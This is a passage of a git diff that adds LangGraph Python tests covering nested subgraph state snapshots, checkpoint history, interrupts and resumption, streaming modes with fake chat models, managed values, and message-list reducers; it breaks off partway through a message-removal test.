}, + "triggers": ("branch:to:qa",), + }, + }, + ), + ("updates", {"qa": {"answer": "doc1,doc2,doc3,doc4"}}), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 3, + "payload": { + "id": AnyStr(), + "name": "qa", + "result": { + "answer": "doc1,doc2,doc3,doc4", + }, + "error": None, + "interrupts": [], + }, + }, + ), + ( + "values", + { + "query": "query: what is weather in sf", + "answer": "doc1,doc2,doc3,doc4", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + ), + ] + + +async def test_nested_graph_state(async_checkpointer: BaseCheckpointSaver) -> None: + class InnerState(TypedDict): + my_key: str + my_other_key: str + + def inner_1(state: InnerState): + return { + "my_key": state["my_key"] + " here", + "my_other_key": state["my_key"], + } + + def inner_2(state: InnerState): + return { + "my_key": state["my_key"] + " and there", + "my_other_key": state["my_key"], + } + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: str + other_parent_key: str + + def outer_1(state: State): + return {"my_key": "hi " + state["my_key"]} + + def outer_2(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("outer_1", outer_1) + graph.add_node( + "inner", + inner.compile(interrupt_before=["inner_2"]), + ) + graph.add_node("outer_2", outer_2) + graph.set_entry_point("outer_1") + graph.add_edge("outer_1", "inner") + graph.add_edge("inner", "outer_2") + graph.set_finish_point("outer_2") + + app = graph.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + await app.ainvoke({"my_key": "my value"}, config, durability="exit") + # test state w/ nested subgraph state (right after interrupt) + # first get_state without subgraph state + expected = StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "inner", + (PULL, "inner"), + state={"configurable": {"thread_id": "1", "checkpoint_ns": AnyStr()}}, + ), + ), + next=("inner",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + assert await app.aget_state(config) == expected + # now, get_state with subgraphs state + assert await app.aget_state(config, subgraphs=True) == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "inner", + (PULL, "inner"), + state=StateSnapshot( + values={ + "my_key": "hi my value here", + "my_other_key": "hi my value", + }, + tasks=( + PregelTask( + AnyStr(), + "inner_2", + (PULL, "inner_2"), + ), + ), + next=("inner_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("inner:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "parents": { + "": AnyStr(), + }, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ), + ), + next=("inner",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + # get_state_history returns outer graph checkpoints + assert [c async for c in app.aget_state_history(config)] == [expected] + + # get_state_history for a subgraph returns its checkpoints + child_history = [ + c + async for c in app.aget_state_history( + (await app.aget_state(config)).tasks[0].state + ) + ] + expected_child_history = [ + StateSnapshot( + values={"my_key": "hi my value here", "my_other_key": "hi my value"}, + next=("inner_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("inner:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=(PregelTask(AnyStr(), "inner_2", (PULL, "inner_2")),), + interrupts=(), + ), + ] + + assert child_history == expected_child_history + + # resume + await app.ainvoke(None, config, durability="exit") + # test state w/ nested subgraph state (after resuming from interrupt) + assert await app.aget_state(config) == StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ) + # test full history at the end + actual_history = [c async for c in app.aget_state_history(config)] + expected_history = [ + StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ), + StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "inner", + (PULL, "inner"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + } + }, + result=None, + ), + ), + next=("inner",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + + assert actual_history == expected_history + # test looking up parent state by checkpoint ID + for actual_snapshot, expected_snapshot in zip(actual_history, expected_history): + assert await app.aget_state(actual_snapshot.config) == expected_snapshot + + +async def test_doubly_nested_graph_state( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + my_key: str + + class ChildState(TypedDict): + my_key: str + + class GrandChildState(TypedDict): + my_key: str + + def grandchild_1(state: ChildState): + return {"my_key": state["my_key"] + " here"} + + def grandchild_2(state: ChildState): + return { + "my_key": state["my_key"] + " and there", + } + + grandchild = StateGraph(GrandChildState) + grandchild.add_node("grandchild_1", grandchild_1) + grandchild.add_node("grandchild_2", grandchild_2) + grandchild.add_edge("grandchild_1", "grandchild_2") + grandchild.set_entry_point("grandchild_1") + grandchild.set_finish_point("grandchild_2") + + child = StateGraph(ChildState) + child.add_node( + "child_1", + grandchild.compile(interrupt_before=["grandchild_2"]), + ) + child.set_entry_point("child_1") + child.set_finish_point("child_1") + + def parent_1(state: State): + return {"my_key": "hi " + state["my_key"]} + + def parent_2(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("parent_1", parent_1) + graph.add_node("child", child.compile()) + graph.add_node("parent_2", parent_2) + graph.set_entry_point("parent_1") + graph.add_edge("parent_1", "child") + graph.add_edge("child", "parent_2") + graph.set_finish_point("parent_2") + + app = graph.compile(checkpointer=async_checkpointer) + + # test invoke w/ nested interrupt + config = {"configurable": {"thread_id": "1"}} + assert [ + c + async for c in app.astream( + {"my_key": "my value"}, config, subgraphs=True, durability="exit" + ) + ] == [ + ((), {"parent_1": {"my_key": "hi my value"}}), + ( + (AnyStr("child:"), AnyStr("child_1:")), + {"grandchild_1": {"my_key": "hi my value here"}}, + ), + ((), {"__interrupt__": ()}), + ] + # get state without subgraphs + outer_state = await app.aget_state(config) + assert outer_state == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child", + (PULL, "child"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child"), + } + }, + ), + ), + next=("child",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + child_state = await app.aget_state(outer_state.tasks[0].state) + assert child_state == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child_1", + (PULL, "child_1"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + } + }, + ), + ), + next=("child_1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + } + }, + metadata={ + "parents": {"": AnyStr()}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + grandchild_state = await app.aget_state(child_state.tasks[0].state) + assert grandchild_state == StateSnapshot( + values={"my_key": "hi my value here"}, + tasks=( + PregelTask( + AnyStr(), + "grandchild_2", + (PULL, "grandchild_2"), + ), + ), + next=("grandchild_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + AnyStr(re.compile(r"child:.+|child1:")): AnyStr(), + } + ), + } + }, + metadata={ + "parents": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + # get state with subgraphs + assert await app.aget_state(config, subgraphs=True) == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child", + (PULL, "child"), + state=StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child_1", + (PULL, "child_1"), + state=StateSnapshot( + values={"my_key": "hi my value here"}, + tasks=( + PregelTask( + AnyStr(), + "grandchild_2", + (PULL, "grandchild_2"), + ), + ), + next=("grandchild_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + AnyStr( + re.compile(r"child:.+|child1:") + ): AnyStr(), + } + ), + } + }, + metadata={ + "parents": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ), + ), + next=("child_1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "parents": {"": AnyStr()}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ), + ), + next=("child",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + # resume + assert [ + c async for c in app.astream(None, config, subgraphs=True, durability="exit") + ] == [ + ( + (AnyStr("child:"), AnyStr("child_1:")), + {"grandchild_2": {"my_key": "hi my value here and there"}}, + ), + ( + (AnyStr("child:"),), + {"child_1": {"my_key": "hi my value here and there"}}, + ), + ((), {"child": {"my_key": "hi my value here and there"}}), + ((), {"parent_2": {"my_key": "hi my value here and there and back again"}}), + ] + # get state with and without subgraphs + assert ( + await app.aget_state(config) + == await app.aget_state(config, subgraphs=True) + == StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ) + ) + + # get outer graph history + outer_history = [c async for c in app.aget_state_history(config)] + assert outer_history == [ + StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + interrupts=(), + ), + StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child", + (PULL, "child"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child"), + } + }, + ), + ), + next=("child",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + # get child graph history + child_history = [ + c async for c in app.aget_state_history(outer_history[1].tasks[0].state) + ] + assert child_history == [ + StateSnapshot( + values={"my_key": "hi my value"}, + next=("child_1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="child_1", + path=(PULL, "child_1"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + } + }, + result=None, + ), + ), + interrupts=(), + ), + ] + # get grandchild graph history + grandchild_history = [ + c async for c in app.aget_state_history(child_history[0].tasks[0].state) + ] + assert grandchild_history == [ + StateSnapshot( + values={"my_key": "hi my value here"}, + next=("grandchild_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + AnyStr(re.compile(r"child:.+|child1:")): AnyStr(), + } + ), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="grandchild_2", + path=(PULL, "grandchild_2"), + result=None, + ), + ), + interrupts=(), + ), + ] + + +async def test_send_to_nested_graphs(async_checkpointer: BaseCheckpointSaver) -> None: + class OverallState(TypedDict): + subjects: list[str] + jokes: Annotated[list[str], operator.add] + + async def continue_to_jokes(state: OverallState): + return [Send("generate_joke", {"subject": s}) for s in state["subjects"]] + + class JokeState(TypedDict): + subject: str + + async def edit(state: JokeState): + subject = state["subject"] + return {"subject": f"{subject} - hohoho"} + + # subgraph + subgraph = StateGraph(JokeState, output_schema=OverallState) + subgraph.add_node("edit", edit) + subgraph.add_node( + "generate", lambda state: {"jokes": [f"Joke about {state['subject']}"]} + ) + subgraph.set_entry_point("edit") + subgraph.add_edge("edit", "generate") + subgraph.set_finish_point("generate") + + # parent graph + builder = StateGraph(OverallState) + builder.add_node( + "generate_joke", + subgraph.compile(interrupt_before=["generate"]), + ) + builder.add_conditional_edges(START, continue_to_jokes) + builder.add_edge("generate_joke", END) + + graph = builder.compile(checkpointer=async_checkpointer) + config = {"configurable": {"thread_id": "1"}} + tracer = FakeTracer() + + # invoke and pause at nested interrupt + assert await graph.ainvoke( + {"subjects": ["cats", "dogs"]}, + config={**config, "callbacks": [tracer]}, + ) == { + "subjects": ["cats", "dogs"], + "jokes": [], + } + assert len(tracer.runs) == 1, "Should produce exactly 1 root run" + + # check state + outer_state = await graph.aget_state(config) + + # update state of dogs joke graph + await graph.aupdate_state( + outer_state.tasks[1].state, {"subject": "turtles - hohoho"} + ) + + # continue past interrupt + assert await graph.ainvoke(None, config=config) == { + "subjects": ["cats", "dogs"], + "jokes": ["Joke about cats - hohoho", "Joke about turtles - hohoho"], + } + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) +async def test_weather_subgraph( + async_checkpointer: BaseCheckpointSaver, +) -> None: + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import AIMessage, ToolCall + from langchain_core.tools import tool + + from langgraph.graph import MessagesState + + # setup subgraph + + @tool + def get_weather(city: str): + """Get the weather for a specific city""" + return f"I'ts sunny in {city}!" + + weather_model = FakeMessagesListChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="get_weather", + args={"city": "San Francisco"}, + ) + ], + ) + ] + ) + + class SubGraphState(MessagesState): + city: str + + def model_node(state: SubGraphState, writer: StreamWriter): + writer(" very") + result = weather_model.invoke(state["messages"]) + return {"city": cast(AIMessage, result).tool_calls[0]["args"]["city"]} + + def weather_node(state: SubGraphState, writer: StreamWriter): + writer(" good") + result = get_weather.invoke({"city": state["city"]}) + return {"messages": [{"role": "assistant", "content": result}]} + + subgraph = StateGraph(SubGraphState) + subgraph.add_node(model_node) + subgraph.add_node(weather_node) + subgraph.add_edge(START, "model_node") + subgraph.add_edge("model_node", "weather_node") + subgraph.add_edge("weather_node", END) + subgraph = subgraph.compile(interrupt_before=["weather_node"]) + + # setup main graph + + class RouterState(MessagesState): + route: Literal["weather", "other"] + + router_model = FakeMessagesListChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="router", + args={"dest": "weather"}, + ) + ], + ) + ] + ) + + def router_node(state: RouterState, writer: StreamWriter): + writer("I'm") + system_message = "Classify the incoming query as either about weather or not." + messages = [{"role": "system", "content": system_message}] + state["messages"] + route = router_model.invoke(messages) + return {"route": cast(AIMessage, route).tool_calls[0]["args"]["dest"]} + + def normal_llm_node(state: RouterState): + return {"messages": [AIMessage("Hello!")]} + + def route_after_prediction(state: RouterState): + if state["route"] == "weather": + return "weather_graph" + else: + return "normal_llm_node" + + def weather_graph(state: RouterState): + # this tests that all async checkpointers tested also implement sync methods + # as the subgraph called with sync invoke will use sync checkpointer methods + return subgraph.invoke(state) + + graph = StateGraph(RouterState) + graph.add_node(router_node) + graph.add_node(normal_llm_node) + graph.add_node("weather_graph", weather_graph) + graph.add_edge(START, "router_node") + graph.add_conditional_edges( + "router_node", + route_after_prediction, + path_map=["weather_graph", "normal_llm_node"], + ) + graph.add_edge("normal_llm_node", END) + graph.add_edge("weather_graph", END) + + def get_first_in_list(): + return [*graph.get_state_history(config, limit=1)][0] + + graph = graph.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + thread2 = {"configurable": {"thread_id": "2"}} + inputs = {"messages": [{"role": "user", "content": "what's the weather in sf"}]} + + # run with custom output + assert [ + c + async for c in graph.astream( + inputs, thread2, stream_mode="custom", subgraphs=True + ) + ] == [ + ((), "I'm"), + ((AnyStr("weather_graph:"),), " very"), + ] + assert [ + c + async for c in graph.astream( + None, thread2, stream_mode="custom", subgraphs=True + ) + ] == [ + ((AnyStr("weather_graph:"),), " good"), + ] + + # run until interrupt + assert [ + c + async for c in graph.astream( + inputs, + config=config, + stream_mode="updates", + subgraphs=True, + durability="exit", + ) + ] == [ + ((), {"router_node": {"route": "weather"}}), + ((AnyStr("weather_graph:"),), {"model_node": {"city": "San Francisco"}}), + ((), {"__interrupt__": ()}), + ] + + # check current state + state = await graph.aget_state(config) + assert state == StateSnapshot( + values={ + "messages": [_AnyIdHumanMessage(content="what's the weather in sf")], + "route": "weather", + }, + next=("weather_graph",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="weather_graph", + path=(PULL, "weather_graph"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("weather_graph:"), + } + }, + ), + ), + interrupts=(), + ) + # confirm that list() delegates to alist() correctly + assert await asyncio.to_thread(get_first_in_list) == state + + # update + await graph.aupdate_state(state.tasks[0].state, {"city": "la"}) + + # run after update + assert [ + c + async for c in graph.astream( + None, config=config, stream_mode="updates", subgraphs=True + ) + ] == [ + ( + (AnyStr("weather_graph:"),), + { + "weather_node": { + "messages": [{"role": "assistant", "content": "I'ts sunny in la!"}] + } + }, + ), + ( + (), + { + "weather_graph": { + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf"), + _AnyIdAIMessage(content="I'ts sunny in la!"), + ] + } + }, + ), + ] + + # try updating acting as weather node + config = {"configurable": {"thread_id": "14"}} + inputs = {"messages": [{"role": "user", "content": "what's the weather in sf"}]} + assert [ + c + async for c in graph.astream( + inputs, + config=config, + stream_mode="updates", + subgraphs=True, + durability="exit", + ) + ] == [ + ((), {"router_node": {"route": "weather"}}), + ((AnyStr("weather_graph:"),), {"model_node": {"city": "San Francisco"}}), + ((), {"__interrupt__": ()}), + ] + state = await graph.aget_state(config, subgraphs=True) + assert state == StateSnapshot( + values={ + "messages": [_AnyIdHumanMessage(content="what's the weather in sf")], + "route": "weather", + }, + next=("weather_graph",), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="weather_graph", + path=(PULL, "weather_graph"), + state=StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf") + ], + "city": "San Francisco", + }, + next=("weather_node",), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("weather_graph:"): AnyStr(), + } + ), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + tasks=( + PregelTask( + id=AnyStr(), + name="weather_node", + path=(PULL, "weather_node"), + ), + ), + ), + ), + ), + interrupts=(), + ) + await graph.aupdate_state( + state.tasks[0].state.config, + {"messages": [{"role": "assistant", "content": "rainy"}]}, + as_node="weather_node", + ) + state = await graph.aget_state(config, subgraphs=True) + assert state == StateSnapshot( + values={ + "messages": [_AnyIdHumanMessage(content="what's the weather in sf")], + "route": "weather", + }, + next=("weather_graph",), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + tasks=( + PregelTask( + id=AnyStr(), + name="weather_graph", + path=(PULL, "weather_graph"), + state=StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf"), + _AnyIdAIMessage(content="rainy"), + ], + "city": "San Francisco", + }, + next=(), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("weather_graph:"): AnyStr(), + } + ), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "14", + "checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("weather_graph:"): AnyStr(), + } + ), + } + } + ), + tasks=(), + interrupts=(), + ), + ), + ), + ) + assert [ + c + async for c in graph.astream( + None, config=config, stream_mode="updates", subgraphs=True + ) + ] == [ + ( + (), + { + "weather_graph": { + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf"), + _AnyIdAIMessage(content="rainy"), + ] + } + }, + ), + ] + + # run with custom output, without subgraph streaming, should omit subgraph chunks + assert [ + c + async for c in graph.astream( + inputs, {"configurable": {"thread_id": "3"}}, stream_mode="custom" + ) + ] == [ + "I'm", + ] + + # run with messages output, with subgraph streaming, should inc subgraph messages + assert [ + c + async for c in graph.astream( + inputs, + {"configurable": {"thread_id": "4"}}, + stream_mode="messages", + subgraphs=True, + ) + ] == [ + ( + (), + ( + _AnyIdAIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="router", + args={"dest": "weather"}, + ) + ], + ), + { + "thread_id": "4", + "langgraph_step": 1, + "langgraph_node": "router_node", + "langgraph_triggers": ("branch:to:router_node",), + "langgraph_path": ("__pregel_pull", "router_node"), + "langgraph_checkpoint_ns": AnyStr("router_node:"), + "checkpoint_ns": AnyStr("router_node:"), + "ls_provider": "fakemessageslistchatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ), + ( + (AnyStr("weather_graph:"),), + ( + _AnyIdAIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="get_weather", + args={"city": "San Francisco"}, + ) + ], + ), + { + "thread_id": "4", + "langgraph_step": 1, + "langgraph_node": "model_node", + "langgraph_triggers": ("branch:to:model_node",), + "langgraph_path": ("__pregel_pull", "model_node"), + "langgraph_checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_ns": AnyStr("weather_graph:"), + "ls_provider": "fakemessageslistchatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ), + ] + + # run with messages output, without subgraph streaming, should exc subgraph messages + assert [ + c + async for c in graph.astream( + inputs, + {"configurable": {"thread_id": "5"}}, + stream_mode="messages", + ) + ] == [ + ( + _AnyIdAIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="router", + args={"dest": "weather"}, + ) + ], + ), + { + "thread_id": "5", + "langgraph_step": 1, + "langgraph_node": "router_node", + "langgraph_triggers": ("branch:to:router_node",), + "langgraph_path": ("__pregel_pull", "router_node"), + "langgraph_checkpoint_ns": AnyStr("router_node:"), + "checkpoint_ns": AnyStr("router_node:"), + "ls_provider": "fakemessageslistchatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ] diff --git a/libs/langgraph/tests/test_managed_values.py b/libs/langgraph/tests/test_managed_values.py new file mode 100644 index 0000000..0202a14 --- /dev/null +++ b/libs/langgraph/tests/test_managed_values.py @@ -0,0 +1,27 @@ +from typing_extensions import NotRequired, Required, TypedDict + +from langgraph.graph import StateGraph +from langgraph.managed import RemainingSteps + + +class StatePlain(TypedDict): + remaining_steps: RemainingSteps + + +class StateNotRequired(TypedDict): + remaining_steps: NotRequired[RemainingSteps] + + +class StateRequired(TypedDict): + remaining_steps: Required[RemainingSteps] + + +def test_managed_values_recognized() -> None: + graph = StateGraph(StatePlain) + assert "remaining_steps" in graph.managed + + graph = StateGraph(StateNotRequired) + assert "remaining_steps" in graph.managed + + graph = StateGraph(StateRequired) + assert "remaining_steps" in graph.managed diff --git a/libs/langgraph/tests/test_messages_state.py b/libs/langgraph/tests/test_messages_state.py new file mode 100644 index 0000000..f41552b --- /dev/null +++ b/libs/langgraph/tests/test_messages_state.py @@ -0,0 +1,369 @@ +from typing import Annotated +from uuid import UUID + +import langchain_core +import pytest +from langchain_core.messages import ( + AIMessage, + AnyMessage, + HumanMessage, + RemoveMessage, + SystemMessage, + ToolMessage, +) +from pydantic import BaseModel +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import add_messages +from langgraph.graph.message import REMOVE_ALL_MESSAGES, MessagesState, push_message +from langgraph.graph.state import StateGraph +from tests.messages import _AnyIdHumanMessage + +_, CORE_MINOR, CORE_PATCH = ( + int("".join(c for c in v if c.isdigit())) + for v in langchain_core.__version__.split(".") +) + + +def test_add_single_message(): + left = [HumanMessage(content="Hello", id="1")] + right = AIMessage(content="Hi there!", id="2") + result = add_messages(left, right) + expected_result = [ + HumanMessage(content="Hello", id="1"), + AIMessage(content="Hi there!", id="2"), + ] + assert result == expected_result + + +def test_add_multiple_messages(): + left = [HumanMessage(content="Hello", id="1")] + right = [ + AIMessage(content="Hi there!", id="2"), + SystemMessage(content="System message", id="3"), + ] + result = add_messages(left, right) + expected_result = [ + HumanMessage(content="Hello", id="1"), + AIMessage(content="Hi there!", id="2"), + SystemMessage(content="System message", id="3"), + ] + assert result == expected_result + + +def test_update_existing_message(): + left = [HumanMessage(content="Hello", id="1")] + right = HumanMessage(content="Hello again", id="1") + result = add_messages(left, right) + expected_result = [HumanMessage(content="Hello again", id="1")] + assert result == expected_result + + +def test_missing_ids(): + left = [HumanMessage(content="Hello")] + right = [AIMessage(content="Hi there!")] + result = add_messages(left, right) + assert len(result) == 2 + assert all(isinstance(m.id, str) and UUID(m.id, version=4) for m in result) + + +def test_duplicates_in_input(): + left = [] + right = [ + AIMessage(id="1", content="Hi there!"), + AIMessage(id="1", content="Hi there again!"), + ] + result = add_messages(left, right) + assert len(result) == 1 + assert result[0].id == "1" + assert result[0].content == "Hi there again!" + + +def test_duplicates_in_input_with_remove(): + left = [AIMessage(id="1", content="Hello!")] + right = [ + RemoveMessage(id="1"), + AIMessage(id="1", content="Hi there!"), + AIMessage(id="1", content="Hi there again!"), + ] + result = add_messages(left, right) + assert len(result) == 1 + assert result[0].id == "1" + assert result[0].content == "Hi there again!" + + +def test_remove_message(): + left = [ + HumanMessage(content="Hello", id="1"), + 